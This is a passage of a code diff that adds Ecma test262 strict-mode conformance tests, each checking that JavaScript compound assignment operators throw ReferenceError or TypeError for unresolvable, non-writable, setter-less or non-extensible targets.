+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-3-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(%=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_3 %= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-30-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-30-s.js
new file mode 100644
index 000000000..77b4a3f99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-30-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-30-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>>=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop >>>= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-31-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-31-s.js
new file mode 100644
index 000000000..1a42e5ac1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-31-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-31-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(&=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop &= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-32-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-32-s.js
new file mode 100644
index 000000000..63ed6d804
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-32-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-32-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(^=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop ^= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-33-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-33-s.js
new file mode 100644
index 000000000..a0b27a8f3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-33-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-33-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(|=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop |= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-34-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-34-s.js
new file mode 100644
index 000000000..196038b2b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-34-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-34-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(*=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop *= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-35-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-35-s.js
new file mode 100644
index 000000000..2a7dba157
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-35-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-35-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(/=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop /= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-36-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-36-s.js
new file mode 100644
index 000000000..2e1204180
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-36-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-36-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(%=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop %= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-37-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-37-s.js
new file mode 100644
index 000000000..e426178ab
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-37-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-37-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(+=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop += 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-38-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-38-s.js
new file mode 100644
index 000000000..a522f871e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-38-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-38-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(-=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop -= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-39-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-39-s.js
new file mode 100644
index 000000000..a682e1466
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-39-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-39-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(<<=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop <<= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-4-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-4-s.js
new file mode 100644
index 000000000..e565ceccc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-4-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-4-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(+=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_4 += 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-40-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-40-s.js
new file mode 100644
index 000000000..2f31f32bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-40-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-40-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop >>= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-41-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-41-s.js
new file mode 100644
index 000000000..acc1d54ff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-41-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-41-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>>=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop >>>= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-42-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-42-s.js
new file mode 100644
index 000000000..6b2f4642a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-42-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-42-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(&=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop &= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-43-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-43-s.js
new file mode 100644
index 000000000..72aafec6e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-43-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-43-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(^=) is a reference to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop ^= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-44-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-44-s.js
new file mode 100644
index 000000000..33a47ddb9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-44-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-44-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(|=) is a reference of to an accessor property with the attribute value {[[Set]]:undefined}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return 11;
+ },
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop |= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 11;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-45-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-45-s.js
new file mode 100644
index 000000000..5122b4bdf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-45-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-45-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(*=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len *= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-46-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-46-s.js
new file mode 100644
index 000000000..382f41c25
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-46-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-46-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(/=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len /= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-47-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-47-s.js
new file mode 100644
index 000000000..4e3761c20
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-47-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-47-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(%=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len %= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-48-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-48-s.js
new file mode 100644
index 000000000..fa14cbf86
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-48-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-48-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(+=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len += 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-49-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-49-s.js
new file mode 100644
index 000000000..b9105eca8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-49-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-49-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(-=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len -= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-5-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-5-s.js
new file mode 100644
index 000000000..09fdb5fa9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-5-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-5-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(-=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_5 -= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-50-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-50-s.js
new file mode 100644
index 000000000..7ae50545b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-50-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-50-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(<<=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len <<= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-51-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-51-s.js
new file mode 100644
index 000000000..7818d3d81
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-51-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-51-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len >>= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-52-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-52-s.js
new file mode 100644
index 000000000..0668c86e6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-52-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-52-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>>=) is a reference to a non-existent property of an object whose [[Extensible]] internal property if false
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.preventExtensions(obj);
+
+ try {
+ obj.len >>>= 10;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-53-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-53-s.js
new file mode 100644
index 000000000..64bdafb9b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-53-s.js
